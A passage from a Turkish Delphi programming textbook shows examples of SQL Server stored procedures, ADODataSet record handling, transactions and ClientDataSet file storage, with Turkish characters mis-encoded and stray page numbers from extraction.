tanımlaması yapılmıútır. Birinci parametre de÷erini programdaki “Edit1” kontrolünden, ikinci parametrede “Edit2” kontrolünden alacaktır. Birinci parametreyle gönderilen ma÷aza ismine sahip tüm ma÷azalar, ikinci parametredeki de÷er ile de÷iútirilip, yeni tablo komple listelenmek istenmiútir. Programı çalıútırdıktan sonra “De÷iútir” isimli dü÷meye basarsanız, Tüm 214 “BAKKALIM” ma÷azaları “SOK” olarak de÷iúip listelenecektir. Programa ait kod blo÷u aúa÷ıda verilmiútir. procedure TForm5.Button1Click(Sender: TObject); //De÷iútir begin ADOStoredProc1.Active:=false; ADOStoredProc1.Parameters.ParamByName('@oncekideger').Value:=Edit1.Text; ADOStoredProc1.Parameters.ParamByName('@yenideger').Value:=Edit2.Text; ADOStoredProc1.Active:=true; end; Stored Procedur Kullanarak Kayıt Silmek: ùimdiki uygulamamızda “Stored Procedur” e gönderece÷imiz parametreye uyan ma÷aza isimlerini tablodan silme iúlemini gerçekleútirece÷iz. Aúa÷ıdaki “Stored Procedur” ü “SQL Server” içerisinde oluúturunuz. Prosedürün ismi “sil” silinecek ma÷aza ismini gönderece÷iniz parametrenin ismide “@magaza” olarak belirlenmiútir. Kritere uyan kayıtlar silindikten sonra tüm tablonun tekrar listelenmesi için yeni SQL komutu çalıútırılmaktadır. Hatırlatalım bu tür toplu de÷iútirme ve silme iúlemlerinde “Transaction” kullanmak veri güvenli÷ini önemli ölçüde artıracaktır (Bu husus daha önceki bölümlerde anlatlıdı. SQL Server içerisindende yaptırabilirsiniz). 215 Uygulama için formunuza bir adet “AdoConnection”, bir Adet “ADOStoredProc”, bir adet “DataSource”, bir adet “DbGrid”, bir adet “Edit” ve bir adet Button yerleútirip gerekli ba÷lantıları önceki örnekte oldu÷u gibi yapınız. procedure TForm6.Button1Click(Sender: TObject); //Sil begin ADOStoredProc1.Connection:=ADOConnection1; ADOStoredProc1.Active:=false; ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.Active:=true; end; Programı çalıútırıp “Edit” kontrolüne ma÷aza ismini girin. Ardından Button kontrolüne tıklayabilirsiniz. Yazdı÷ınız ma÷aza isminin silindi÷ini göreceksiniz. Aslında kodu aúa÷ıdaki úekilde yazmanız daha güvenli olacaktır. procedure TForm6.Button1Click(Sender: TObject); //Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Eminmisiniz','Sil',MB_YESNO+MB_ICONS TOP); if mesaj=mrYes Then begin ADOStoredProc1.Connection:=ADOConnection1; 216 ADOStoredProc1.Active:=false; ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.Active:=true; ShowMessage('Kayıtlar Baúarıyla Silindi'); End else begin ShowMessage('Silme øúlemi øptal Edildi'); end; end; Bu sefer kullanıcıdan gerçekleúecektir. onay alındıktan sonra kayıt silinme iúlemi Stored Procedure øle Hesaplanan De÷erleri De÷iúkenlere Aktarmak: Aúa÷ıdaki “Stored Procedure” içerisinde “FATURATUTARI” sütununa ait toplam hesaplanmaktadır, peki hesaplanan bu de÷eri form üzerindeki kontrollerde nasıl gösterece÷iz. Aúa÷ıda bu husus örneklendirilmektedir. Öncelikle verilen “Stored Procedur” ü “SQL Server” içerisinde oluúturunuz. Ardından formunuzun üzerine “AdoConnection”, ”AdoStoredProc”, ”DataSource”, “Panel ve Button Kontrollerini yerleútirerek aúa÷ıdaki tasarımı oluúturunuz. 217 Panel kontrolü formun estetik görünümü için eklenmiútir. Sizde uygulamalarınızda güzel görünüm elde etmek için aúırıya kaçmamak úartıyla bu kontrollerden yararlanınız. Forma ekledi÷iniz kontroller için gerekli ba÷lantıları yapın (ADOStoredProc kontrolünü “toplam” isimli prosedüre ba÷layın). Aúa÷ıdaki kodlarıda “Unit” pencerenize ekleyiniz. procedure TForm7.Button1Click(Sender: TObject); //Sütun Toplamını Yazdır var yeni:TDBEdit; begin yeni:=TDBEdit.Create(Form7);//yarat yeni.DataSource:=DataSource1; yeni.DataField:='COLUMN1';//ilk kolon Form7.Caption:='Toplam Fatura Tutarı='+yeni.Text; end; Programı çalıútırdıktan sonra “Hesapla” isimli dü÷meye tıklarsanız yukarıdaki pencere görüntüsüne ulaúırsınız. Baúlıkta yazan de÷er “SUM(FATURATUTARI” sütünu için hesaplanan de÷erdir. 218 Stored Procedure Fonksiyonları: ùimdi sizlere “SQL Server” da “Stored Procedure” kullanabilece÷iniz extra komutları vermek istiyorum. oluútururken String Fonksiyonları: String iúlemlerini yapabilmek için kullanabilece÷iniz fonksiyonlar aúa÷ıda verilmiútir. Fonksiyon Adı: øúlem ASCII Belirtilen sütun de÷erinin Ascii de÷erini verir CHAR Belirtilen sütun de÷erinin karakter karúılı÷ını verir LEFT Belirtilen sütun içeri÷inin solundan n karakteri alır. LEN Belirtilen sütunun kaç karakterden oluútu÷unu bulur LOWER Belirtilen sütun de÷erini küçük harfe çevirir. LTRIM Belirtilen sütundaki sol boúlukları atar REPLACE Belirtilen sütun içerisindeki stringlerin yerini de÷iútirir RIGHT Belirtilen sütun içeri÷inin sa÷ından n karakteri söker RTRIM Belirtilen sütundaki sa÷ boúlukları atar SPACE Belirtilen sayıda boúluk oluúturmak için kullanılır SUBSTRING Belirtilen sütun içerisinden parça sökmek için kullanılır Matematiksel Fonksiyonlar: Stored Procedur’ler içerisinde matematiksel hesaplar için kullanabilece÷iniz fonksiyonlar aúa÷ıda verilmiútir. Fonksiyon Adı: øúlem ABS Belirtilen sütundaki de÷eri pozitife çevirir CEILING Belirtilen sütun de÷erini bir üst tamsayıya yuvarlar DEGRESS Belirtilen sütun de÷erini dereceye çevirir. FLOOR Belirtilen sütun de÷erini bir alt tam sayıyayuvarlar POWER Belirtilen sütun de÷eriniN kuvvetini almak için kullanılır. RAND 0-1 Arasında rasgele sayı üretmek için kullanılır. SQUARE Kare almak için kullanılır SQRT Karekök almak için kulanılan komuttur. Tarih-Zaman Fonksiyonları: Tarih-Zaman iúlemlerini gerçekleútirebilmek için aúa÷ıdaki fonksiyonları kullanabilirsiniz. Fonksiyon Adı: øúlem DATEADD Tarihe gün eklemek için kullanılır GETDATE Aktif tarihi hesaplar DAY Gün sayısını bulur MONTH Tarih içerisindeki ay sayısını bulur. YEAR Belirtilen tarih içerisindeki yıl sayısını hesaplar 219 ADODataSet Kontrolü: Tablo bilgilerini form kontrollerinin kullanabilmesi, kayıtları “DataSource” nesnesine aktarmak için kullanılan kontroldür. Table, Query kontrollerine benzer özellikler taúımaktadır. Direk tabloya ba÷lanabilece÷i gibi “Adoconnection” nesnesi aracılı÷ıyla da tabloya ba÷lanabilir. x ADODataSet1.Connection Tabloya aracı kullanarak ba÷lanmak istenirse bu özelli÷e “AdoConnection” nesnesinin ismi aktarılmalıdır. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Connection :=ADOConnection1; end; x ADODataSet1.CommandText Tabloyu sorgulayacak olan “SQL” komutları bu özelli÷e aktarılmalıdır. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Connection :=ADOConnection1; ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS'; end; x ADODataSet1.First ADODataSet kontrolünde yer alan kayıtlar içerisinde ilk kayıda gitmeyi sa÷layan methoddur. procedure TForm8.Button1Click(Sender: TObject); //ilk kayıt begin ADODataSet1.Connection :=ADOConnection1; ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS'; ADODataSet1.First; end; 220 x ADODataSet1.Next; Kayıtlar içerisinde bir sonraki kayda geçmeyi sa÷layan methoddur. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Next; end; x ADODataSet1.Prior Bir önceki kayda geçmek için kullanılan methoddur. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Prior; end; x ADODataSet1.Last Son kayda eriúmek için kullanılan methoddur. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Last ; end; ùimdi bir örnek yapalım. Örne÷imiz için “FATURATUTARI” sütununu kullanaca÷ız. Yapaca÷ımız iúlem “ListBox1” kontrolünde “ADODataSet” kontrolünü kullanarak tüm sütunu yazdırmak. “ListBox2” ye ise ilk sütundaki de÷erlerin kümülatif toplamını aldırarak yazdırmak olacaktır. Örne÷imiz için formunuzun üzerine bir adet “Adoconnection” nesnesi yerleútirip “SQL Server” da oluúturdu÷umuz “gazi” isimli database e ba÷layınız. økinci adımda formun üzerine bir adet “ADODataSet” kontrolü yerleútirin. Üçüncü adımda yine formunuzun üzerine iki adet ListBox ekleyip aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. 221 procedure TForm8.FormCreate(Sender: TObject); var miktar:Currency; ilk,son:AnsiString; begin miktar:=0; ADODataSet1.Connection:=ADOConnection1; ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS'; ADODataSet1.Open; ADODataSet1.First;//ilk kayda git while not ADODataSet1.Eof do //sonuna kadar oku begin miktar:=miktar+ADODataSet1.Fields[0].Value;//ilk sütun de÷erini ekle ilk:=FloatToStrF(ADODataSet1.Fields[0].Value,ffCurrency,14,0); ListBox1.Items.Add(ilk); son:=FloatToStrF(miktar,ffCurrency,14,0);//formatla ListBox2.Items.Add(son);//ekle ADODataSet1.Next;//Sonraki kayda geç end; end; øki sütunu dikkatlice inceleyecek olursanız, birinci listedeki satırlar birbirlerine eklenerek ikinci sütuna yazdırılmaktadır. “BDE” kontrollerinden “Table” veya “Query” kontrolüyle bir çok özelli÷i benzeúmektedir. Aynı mantıkla kullanabilirsiniz. 222 ADODataSet Kontrolü øle Kayıt øúlemleri: “BDE” Kontrollerinde yapmıú oldu÷unuz kayıt iúlemlerine çok benzer bir mantıkla “ADODataSet” kontrolünü kullanarak kayıt iúlemlerinizi yaptırabilirsiniz. Aúa÷ıda bu husus örnek üzerinde açıklanmaktadır. Birinci adımda formunuzun üzerine bir adet “Adoconnection” kontrolü yerleútirip “ConnectionString” özelli÷ine SQL Server’ da daha önce yaratmıú bulundu÷umuz “gazi” isimli database i gösterin. økinci adımda formunuza bir adet “ADODataSet” kontrolü yerleútirin. Üçüncü adımda formunuza bir adet “DataSource” nesnesi yerleútirip “DataSet” özelli÷ine “ADODataSet” kontrolünü atayın. Dördüncü adımda formunuza bir adet “DBGrid” ile bir adet ”DBNavigator” kontrolü yerleútirin. Ardında bu iki kontrolün “DataSource” özelliklerine “DataSource1” de÷erini aktarın. En son tasarım anınız aúa÷ıdaki úekilde oluúmalıdır. Aúa÷ıdaki kod satırlarınıda çalıútırabilirsiniz. “Unit” pencerenize ekleyip uygulamanızı procedure TForm9.FormCreate(Sender: TObject); begin ADODataSet1.Connection:=ADOConnection1; ADODataSet1.CommandText:='Select * From SERVIS'; ADODataSet1.Open; end; Dilerseniz yukarıdaki kod penceresinde yer alan satırları “Object Inspector” penceresinden de ayarlayabilirsiniz. Biz butür iúlemleri her zaman kodla yapmanızı tavsiye ediyoruz. 223 ProgramIN çalıútıktan sonraki ekran görüntüsü aúa÷ıdaki úekilde oluúacaktır. “DBNavigator” kontrolündeki dü÷melerle “BDE” Kontrollerinde yapmıú oldu÷unuz tüm iúlemleri aynen uygulayabilirsiniz. Yukarıdaki görüntüde parasal de÷erleri formatlı úekilde göstermek isterseniz kodunuzu aúa÷ıdaki úekilde de÷iútirmelisiniz. Hatırlatalım “ADODataSet” kontrolüne ait ba÷lantı iúlemi “Object Inspector” penceresinden yapıldı (Connection ile CommandText özellikleri). Ayrıca “ADODataSet” kontrolü üzerinde mousun saö tuúuna tıklayıp “Fields Editor”ü seçin. Son olarak beyaz ekranda “Add All Fields” yaparak tüm sutunların eklenmesini sa÷layın. procedure TForm9.FormCreate(Sender: TObject); begin ADODataSet1FATURATUTARI.DisplayFormat:='###,###,### TL'; ADODataSet1.Open; end; Dilerseniz “DisplayFormat” özelli÷ini “Object Inspector” penceresinden de de÷iútirebilirsiniz. 224 ADODataSet Kullanarak Kayıtları Filtrelemek: Kaynak olarak “ADODataSet” kullandı÷ınız zaman “BDE” kontrollerinde yaptı÷ınız gibi filtreleme ve kayıt arama iúlemlerini yapmanız mümkündür. Aúa÷ıda “MAGAZAADI” sütununa göre kayıtlar filtrelenmekte, filtre için parametre “Edit1” kontrolünden yollanmaktadır. procedure TForm9.Button1Click(Sender: TObject); //Filtrele begin ADODataSet1.Filtered:=true; ADODataSet1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text); end; Var olan filtreyi iptal etmek için aúa÷ıdaki kod satırını kullanabilirsiniz. procedure TForm9.Button2Click(Sender: TObject); //Filtreyi øptal Et begin ADODataSet1.Filtered:=False; end; ADODataSet Kullanarak Kayıt Arama øúlemleri: “ADODataSet” kontrolü kullanarak Microsoft Veri Tabanlarına ba÷lanırsanız aúa÷ıda izah edece÷im úekilde kayıt arama iúlemlerini gerçekleútirebilirsiniz. Burada izeleyece÷iniz yol “BDE” Kontrollerindekinden pek farklı olmayacaktır. 225 ADODataSet1.Locate Methodu: Kaynak olarak “ADODataSet” kontrolünün kullanılması durumunda “Locate” methoduyla kayıt arama iúlemlerini gerçekleútirebilirsiniz. Aúa÷ıda bu husus örneklendirilmiútir. procedure TForm9.Button2Click(Sender: TObject); //Kayıt Bul var ara:Boolean; begin ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[]); if ara=false Then ShowMessage('Aradı÷ınız Kayda Ulaúılamadı'); end; Örnekte kullanılan “Boolean” tip de÷iúken kaydın bulunamaması durumunda “false” de÷eri, bulunması durumunda da “true” de÷erini alacaktır. ùayet kodu “Enter” tuúuyla tetiklemek isterseniz o zaman “KeyPress” yordamına aúa÷ıdaki úekilde bir kod blo÷u eklemelisiniz. procedure TForm9.Edit1KeyPress(Sender: TObject; var Key: Char); var ara:Boolean; begin if Key=#13 Then//Enter tuúuna basarsa begin ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[]); if ara=false Then ShowMessage('Aradı÷ınız Kayda Ulaúılamadı'); end; end; ùayet küçük-büyük harf duyarlı÷ı olmasını istemiyorsanız, aynen “BDE” kontrollerinde oldu÷u gibi üçüncü parametreye de÷er aktarmalısınız. Kodu aúa÷ıdaki úekilde de÷iútiriniz. procedure TForm9.Edit1KeyPress(Sender: TObject; var Key: Char); var ara:Boolean; begin if Key=#13 Then 226 begin ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); //küçük-büyük harfe duyarlı olma if ara=false Then ShowMessage('Aradı÷ınız Kayda Ulaúılamadı'); end; end; ADODataSet Kontrolü Kullanarak Master/Detail Form Oluúturmak: Aúa÷ıdaki iki tabloyu SQL Server içerisinde oluúturarak, iliúkili tablolarda iúlemlerin nasıl yaptırılabilece÷ini açıklayalım. Tablo1:MAGAZA TABLOSU Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) MAGAZAADI A 25 ADRES A 25 TELEFON A 15 MUDUR A 25 SEHIR A 25 Key(Primary ind) * Tablo2:SERVIS TABLOSU Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) SIRANO + Otomatik artar MAGAZAADI A 25 SERVISTARIHI D GIDENFIRMA A 25 ARIZASEBEBI A 25 FATURATUTARI $ Key(Primary ind) * Secondary Index 227 Tabloları oluúturduktan sonra aúa÷ıdalki adımları izleyerek “Master/Detail” Form oluúturabilirsiniz. Birinci adım, formunuzun üzerine bir adet “Adoconnection” kontrolü yerleútirip “gazi” isimli database’ e ba÷layın (daha önce bir çok kez yapıldı÷ı için tekrar izah edilmeyecektir). økinci adım, “ADO” yapra÷ında yer alan “ADODataSet” kontrolünden bir adet formunuzun üzerine sürükleyip bırakın. “Object Inspector” penceresinden “Connection” özelli÷ine “Adoconnection1” kontrolünü aktarın. Ardından “CommandText” özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencerede “SQL” kısmına “Select * From MAGAZA” yazıp (Master tablo) “OK” Buttonuna tıklayınız. Dördüncü adımda formunuza “DataAccess” yapra÷ında yer alan “DataSource” kontrolünden bir adet sürükleyip bırakın. “Object Inspector” penceresinden “DataSet” özelli÷ine “ADODataSet1” kontrolünü aktarın. Beúinci adımda, formunuza “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü yerleútirip “DataSource” özelli÷ine “DataSource1” kontrolünü aktarın (Bu úekilde master tablo ile ilgili iúlemlerimiz tamamlanmıú oldu). Altıncı adımda formunuza ikinci bir “ADODataSet” kontrolü yerleútirerek “Connection” özelli÷ine “Adoconnection1” kontrolünü aktarın. Ardından “CommandText” özelli÷ine tıklayarak aúa÷ıdaki pencereyi açtırın. Yavru tablo için gerekli “SQL” sorgusunu bu penceye yazaca÷ız. 228 “Select * From SERVIS” sorgusunu aúa÷ıdaki úekilde “SQL” penceresinde oluúturunuz. “OK” basıp di÷er adımlara geçiniz. Bu adımda formunuza “DataAccess” yapra÷ında yer alan “DataSource” kontrolünden sürükleyip bırakın. Ardından “DataSet” özelli÷ine “ADODataSet2” kontrolünü aktarın. Bu sefer “DataControls” yapra÷ında yer alan “DBGrid” kontrolünden bir adet formunuzun üzerine taúıyın ve “DataSource” özelli÷ine “DataSource2” kontrolünü aktarın. ùimdiki adımda iki “ADODataSet” arasındaki iliúkiyi oluúturaca÷ız. Bu yüzden “ADODataSet2” kontrolünü seçip “Object Inspector” penceresinden “DataSource” özelli÷ine “DataSource1” kontrolünü atayın. Ardından yine aynı kontrolün “MasterFields” özelli÷ine tıklayarak aúa÷ıdaki pencerenin açılmasını sa÷layın. Açılan “Field Link Designer” penceresinden iki tablo arasında iliúki yaratılacak olan sütunları belirleyece÷iz. MAGAZA tablosunda (Master tablo) yer alan Primary index sütunu ile “SERVIS” tablosunda (Detail tablo) yer alan secondry index sütununu (ikisindede sütun isimleri MAGAZAADI olarak verilmiútir) iliúkilendirece÷iz. Bu amaçla “Detail Fields” listesinden “MAGAZAADI” sütununu, “Master Fields” sütunundan da yine “MAGAZAADI” sütununu seçip “Add” dü÷mesine tıklayın. Yarattı÷ınız iliúki “Joined Fields” listesine aktarılacaktır. Gerekiyorsa tablolar arası birden fazla iliúki yaratabilirsiniz, bu tamamen programınızın kapasite ve önemine göre de÷iúecektir. 229 Aúa÷ıdaki gibi iliúkiyi yaratıp “OK” buttonuna tıklayabilirsiniz. “IndexFieldName” de÷erini kendisi otomatik olarak dolduracaktır. øki “ADODataSet” kontrolünün de “Object Inspector” penceresinden “Active” özelli÷ini true yapıp programı çalıútırınız. økinci “DBGrid” kontrolüne dikkat edin, sadece ilk “DBGrid” kontrolünde seçilmiú olan ma÷azaya ait yapılmıú servisleri listelemektedir. ùayet baúka bir ma÷aza seçerseniz altta yer alan “DBGrid” kontrolü de yine sadece o ma÷azaya ait servisleri listeleyecektir. 230 ADODataSet Kontrolüne Uygulanabilecek Kilitler: Aynı anda yapılabilecek olan de÷iúiklikler uyglamanız için sorun yaratabilir. Düúünün iki kullanıcı aynı anda aynı kaydı de÷iútirmeye kalkarsa tutarlılık açısından sorun çıkacaktır. Bu yüzden oluúabilecek ters durumlara karúı kilit kullanmalısınız. Aúa÷ıda kilit úekilleri ve uygulaması gösterilmektedir. Lock Type Sonuç ltOptimistic Kayıt de÷iútirilmeye baúlandı÷ı anda kilitlenme olur ltBatchOptimistic Kendi Bilgisayarınızda de÷iútirebilirsiniz ltPessimistic De÷iúiklik baúladı÷ı andan update edilene kadar ltReadOnly Kayıtlar de÷iútirilemez ltUnspecified Özel Kilit Veri Tabanına uygulayaca÷ınız kilit tipini kodla belirlemeniz gerekirse aúa÷ıdaki úekilde bir kodlama kullanabilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin ADODataSet1.LockType:=ltOptimistic; end; ADODataSet Kontrolü øle Kayıt Eklemek: Aúa÷ıdaki úekilde tablonuza kolayca kayıt ekleyebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); //Kayıt Ekle begin ADODataSet1.Append; end; ADODataSet Kontrolü øle Aktif Kaydı Silmek: Aúa÷ıdaki kodlamayla aktif kaydınızı tablonuzdan silebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); //Kayıt Sil begin ADODataSet1.Delete; end; ADODataSet ve Transaction: 231 Daha önceki bölümlerde Transaction olayının ne iúe yaradı÷ı detaylı olarak anlatılmıútı. ùimdiki bölüm de ise bu iúlemin “ADO” nesnelerine kullanımına ait uygulamalarından bahsetmek istiyorum. Mantık tamamen aynı olmakle beraber uygulama úekli biraz daha farklı olmaktadır. x ADOConnection1.BeginTrans Transaction iúlemini baúlatan komuttur. Bu komuttan sonra yapılan tüm iúlemler iptal edilebilir veya tabloya yansıtılabilir. procedure TForm2.FormCreate(Sender: TObject); begin ADOConnection1.BeginTrans;//Baúlat end; x ADOConnection1.CommitTrans Transaction uygulaması baúlatıldıktan sonra yapılan tüm de÷iúikliklerin tabloya yansıtılmasını sa÷layan komuttur. Bu komut uygulandıktan sonra Transaction iúlemi sona erer. procedure TForm2.Button1Click(Sender: TObject); begin ADOConnection1.CommitTrans;//Tabloya yansıt end; x ADOConnection1.RollbackTrans Transaction iúlemi baúlatıldıktan sonra yapılan tüm de÷iúiklikleri iptal ederek orjinal konuma dönülmesini sa÷lar. procedure TForm2.Button1Click(Sender: TObject); begin ADOConnection1.RollbackTrans;//De÷iúiklikleri iptal et end; Görüldü÷ü gibi aynı mantık fakat farklı komutlarla ADO kontrolleri için Transaction iúlemini kolayca gerçekleútirebilmekteyiz. ùimdi olayın anlaúılması ba÷lamında bir örnekle izahat yapalım. 232 Formunuzun üzerine Bir adet “AdoConnection”, bir adet “ADODataSet”, bir adet “DataSource”, bir adet “DBGrid”, bir adet “DBNavigator”, beú adet “DBEdit” ve iki adet Button” kontrolü ekleyip aúa÷ıdaki tasarımı oluúturunuz. Gerekli tüm ba÷lantıları yaparak (daha önce anlatıldı÷ı úekilde) “DBGrid” nesnesi içerisinde “MAGAZA” tablosuna ait tüm kayıtların gözükmesini sa÷layınız. Bu aúamadan sonra yapaca÷ınız iúlem aúa÷ıdaki kodları programınıza eklemek olacaktır. procedure TForm2.FormCreate(Sender: TObject); //Transactionu Baúlat begin ADOConnection1.BeginTrans;//Transactionu baúlat end; procedure TForm2.Button1Click(Sender: TObject); //Uygula begin ADOConnection1.CommitTrans;//De÷iúiklikleri Tabloya Yaz ADOConnection1.BeginTrans;//Tekrar Transactionu Baúlat end; procedure TForm2.Button2Click(Sender: TObject); 233 //øptal Et begin ADOConnection1.RollbackTrans;//De÷iúiklikleri iptal et ADODataSet1.Close; ADODataSet1.Open; ADOConnection1.BeginTrans//Tekrar Baúlat end; Programı çalıútırdıktan sonra herhangi bir kaydı silip, ardından “Iptal Et” dü÷mesine tıklayın. Silinen kaydın geri geldi÷ini göreceksiniz. ùayet “Tabloya Yaz” dü÷mesine basarsanız yaptı÷ınız tüm de÷iúiklikler ana tablonuza uygulanacaktır. Kod satırlarına dikkat edecek olursanız “Transaction” iúlemi “OnCreate” yordamında otomatik olarak baúlatılmaktadır. Ayrıca her “Tabloya Yaz” veya “øptal Et” dü÷mesinden sonra “Transaction” iúlemi yeniden baúlatılmaktadır. Bu tür uygulamalar performansınızı biraz azaltacak fakat güvenli÷inizi önemli ölçüde artıracaktır. Programın çalıúması sırasında devamlı “Transaction” açık olaca÷ı için, var olup olmadı÷ını kontrol ettirmenize gerek yoktur (BDE deki örnekte kontrol vardı). 234 BÖLÜM 8 XML DOSYALARI OLUùTURMAK 235 236 ClientDataSet Kontrolü: Bu kontrol sayesinde “BDE” veya “ADO” kullanmadan harddiskinizde tablo yaratıp içerisine kayıt girebilirsiniz. Girilen kayıtlara daha sonra ulaúmanız tabiiki mümkün olabilmektedir. Kontrolün çalıúma mantı÷ı bilgisayarda “cds” veya “xml” uzantılı bir dosya yaratarak içerisine kayıt bilgilerini kaydetmekten ibarettir. Aúa÷ıda kullanmak zorun da oldu÷unuz özelliklerini verece÷im. x ClientDataSet1.FieldDefs.Add Bu method sayesinde yarataca÷ınız tabloya ait sütunları belirleyebilirsiniz. Sütun içerikleriniz her úekil tipten olabilir. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false); ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false); ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false); ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false); end; Methodun kullanımına dikkat ettiyseniz 4 parametre içermektedir. Birinci parametre tablo sütun ismini, ikinci parametre sütuna girilecek içeri÷in tipini, üçüncü parametre kaç karakter oldu÷unu (sayısal içerikler için “0” girebilirsiniz) belirlemektedir. x ClientDataSet1.CreateDataSet DataSeti yaratmak için kullanılan methoddur. Yaratılan bu dataset içerikleri daha sonra dosyaya kaydedilecektir. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.CreateDataSet;//yarat end; x ClientDataSet1.SaveToFile DataSet içerisindeki kayıtları “cds” uzantılı bir dosyaya kaydetmek için kullanılan methoddur. Kaydedilen bu kayıtlara daha sonra ulaúılma imkanı mevcuttur. 237 procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');//Dosyaya kaydet end; x ClientDataSet1.LoadFromFile “cds” uzantılı dosya içerisindeki kayıtlara ulaúabilmek için kullanılan methoddur. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.LoadFromFile('c:\gazi\prestige.cds');//Aç end; x ClientDataSet1.FileName øçerisindeki kayıtların gösterilece÷i dosya bu özellikle belirlenmektedir. procedure TForm2.FormCreate(Sender: TObject); begin ClientDataSet1.FileName:='c:\gazi\prestige.cds'; end; x ClientDataSet1.Filter Dosya içerisindeki tüm tablolar de÷ilde, sadece sizin istedi÷iniz kayıtları göstermek amaçlı kullanılan özelli÷idir. Kullanımı aynen “BDE” ve “ADO” kontrollerindeki úekilde olacaktır. x ClientDataSet1.Filtered Filtre iúlemi için belirlenen kriterin tabloya uygulanması için gerekli olan komuttur. True de÷erinin aktarılması tablonun filtrelenece÷i anlamını taúımaktadır. procedure TForm2.Button1Click(Sender: TObject); begin ClientDataSet1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text); ClientDataSet1.Filtered:=True; end; 238 ùimdi bu kontrole ait bir örnekle kullandı÷ımız methodları tekrar hatırlamaya çalıúalım. Örnek için aúa÷ıdaki tasarımı oluúturunuz. ùimdi aúa÷ıdaki adımları izleyerek “DBGrid” nesnesi içerisindeki kayıtları dosyaya nasıl kaydedebilece÷inizi ö÷renin. Birinci adımda formunuza bir adet “ClientDataSet” kontrolü yerleútirin. Baúka hiç bir ayar yapmayın tamamını kodla yapaca÷ız. økinci adımda formunuza bir adet “DataSource” kontrolü yerleútirip “DataSet” özelli÷ine “ClientDataSet1” kontrolünü aktarın. Üçüncü adımda formunuza bir adet “DBGrid” kontrolü yerleútirip “DataSource” özelli÷ine “DataSource1” de÷erini aktarın. Dördüncü adımda formunuza bir adet “DBNavigator” kontrolü yerleútirip “DataSource” özelli÷ini “DataSource1” yapın. Aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm2.FormCreate(Sender: TObject); begin if FileExists('c:\gazi\prestige.cds')=false Then//dosya yoksa begin //tabloyu oluútur ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false); ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false); ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false); ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false); ClientDataSet1.CreateDataSet;//yarat ClientDataSet1.SaveToFile('c:\gazi\prestige.cds');//kaydet end; 239 ClientDataSet1.FileName:='c:\gazi\prestige.cds'; //Aç ClientDataSet1.Open; end; procedure TForm2.Button1Click(Sender: TObject); //Kaydet begin ClientDataSet1.SaveToFile('c:\gazi\prestige.cds'); end; Programı ilkçalıútırdı÷ınız zaman dosyayı bulamayaca÷ı için oluúturup kaydedecek. Bu aúamadan sonra ekleyece÷iniz her kayıt daha sonra programı açtı÷ınız zaman “DBGrid” nesnesi içerisinde gözükecektir (Dosyaya Kaydet dü÷mesine basılması gereklidir). ClientDataSet Kontrolü øçerisindeki Kayıtları Xml Uzantılı Kaydetmek: “ClientDataSet” kontrolü “xml” formatlı dosyalara da destek vermektedir. Dilerseniz kayıtlarınızı bu formatta kaydedip sonra tekrar açabilirsiniz. Do÷rusunu isterseniz uygulamada Delphi için “cds” veya “xml” olmuú pek fark etmiyor. Yukarıdaki örnek için kodu aúa÷ıdaki úekilde de÷iútirip “xml” formatlı dosya olarak ta oluúturabilirdiniz. procedure TForm2.FormCreate(Sender: TObject); begin if FileExists('c:\gazi\prestige.xml')=false Then begin //tabloyu oluútur ClientDataSet1.FieldDefs.Add('EGITMEN',ftString,25,false); ClientDataSet1.FieldDefs.Add('GRUP_ADI',ftString,25,false); ClientDataSet1.FieldDefs.Add('SURESI',ftInteger,0,false); 240 ClientDataSet1.FieldDefs.Add('FIYATI',ftCurrency,0,false); ClientDataSet1.CreateDataSet; ClientDataSet1.SaveToFile('c:\gazi\prestige.xml'); end; ClientDataSet1.FileName:='c:\gazi\prestige.xml'; //Dosyayı Aç ClientDataSet1.Open; end; procedure TForm2.Button1Click(Sender: TObject); //xml olarak Kaydet begin ClientDataSet1.SaveToFile('c:\gazi\prestige.xml'); end; 241 242 BÖLÜM 9 INTERBASE KONTROLLERI 243 244 INTERBASE Veri Tabanı øúlemleri: “SQL Server” veya “Oracle” veri tabanının yüklü olmadı÷ı a÷ ortamlarında kullanılmak üzere Delphi’nin destekledi÷i bir veritabanı uygulamasıdır. Bu veritabanının özelli÷i, aynı tablo için de÷iúik haklara sahip bir çok kullanıcının tanımlabilmesine izin vermesidir. Yani bir kullanıcı 